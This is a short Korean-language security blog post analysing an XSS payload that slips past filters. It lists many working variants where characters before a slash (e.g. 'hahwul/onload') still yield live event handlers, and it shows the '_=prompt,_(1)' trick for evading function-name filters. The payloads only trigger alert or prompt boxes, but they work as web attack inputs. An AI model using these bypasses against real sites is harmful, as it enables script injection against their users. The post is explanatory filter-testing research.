Bypass XSS Protection with string+slash
최근 oioi로 부터 XSS 페이로드를 하나 공유 받았습니다. 특이한 부분이 2가지가 있는데, 내용 한번 살펴보도록 하겠습니다.
<svg </onload ="1> (_=prompt,_(1)) "">
Event Handler 우회 패턴
기존 svg/onload 구문과 유사하지만, 이벤트 핸들러 필터링을 우회할 수 있고, 구문 필터링 또한 어느정도 제어가 가능합니다.
<svg </onload ="1> (_=prompt,_(1)) "">
첫번째로 눈여겨 봐야할 부분은 </ 로 onload를 이벤트 핸들러로 넘겨준 방법입니다. 처음에는 (_=prompt 구문이랑 조합이 되어서 필터링이 풀리나 생각이 들었는데, 아래와 같이 제외하고 사용하여도 동작합니다.
<svg </onload ="1> alert(45) "">
<svg </onload ="alert(45) ">
뒤쪽 페이로드 부분이랑은 상관이 없다 소리니, 즉 </ 특수문자가 이벤트핸들러로 만들어 줄 수 있다는 의미로 해석됩니다.
<svg ^/onload =" alert(45) ">
<svg &/onload =" alert(45) ">
<svg */onload =" alert(45) ">
<svg %/onload =" alert(45) ">
<svg $/onload =" alert(45) ">
<svg #/onload =" alert(45) ">
<svg @/onload =" alert(45) ">
<svg !/onload =" alert(45) ">
<svg hahwul/onload =" alert(45) ">
<iframe hahwul/src ="javascript:alert(45)">
<iframe hahwul/onmouseover =" alert(45) " scr=z>
<input hahwul/onfocus="alert(45)" autofocus>
<img hahwul/onerror =" alert(45) " src=z>
모두 alert(45)가 실행됩니다. 즉 태그와 /
사이에 문자가 들어가는 경우 마치 태그와 /
가 붙어있는 것 처럼 속성으로 분리되고 정상적이지 않은 이벤트 핸들러 처럼 보이는 동작하는 이벤트 핸들러를 만들 수 있습니다. 정리하자면, slash 앞에 문자열이 들어가는 경우 정상적인 이벤트 핸들러로 인지합니다.
자바스크립트 구간 1> (_=prompt,_(1))
두번째 포인트는 Javascript 코드 부분입니다.
1> (_=prompt,_(1))
내용만 보면 1
과 (_=prompt,_(1))
를 비교합니다. 앞부분은 중요하지 않고 핵심이 되는 부분은 (_=prompt,_(1))
인데요. 구문을 콘솔로 보니 _
에 function이 들어갔네요. 결국은 _
라는 변수에 prompt
함수를 넣고 _(1)
형태로 실행한 케이스입니다. 간단한 트릭이지만 코드단 필터링을 푸는데는 도움이 될 수 있습니다 :)
_=prompt // _ => function prompt() {[native code]}
_(1) // promtp(1)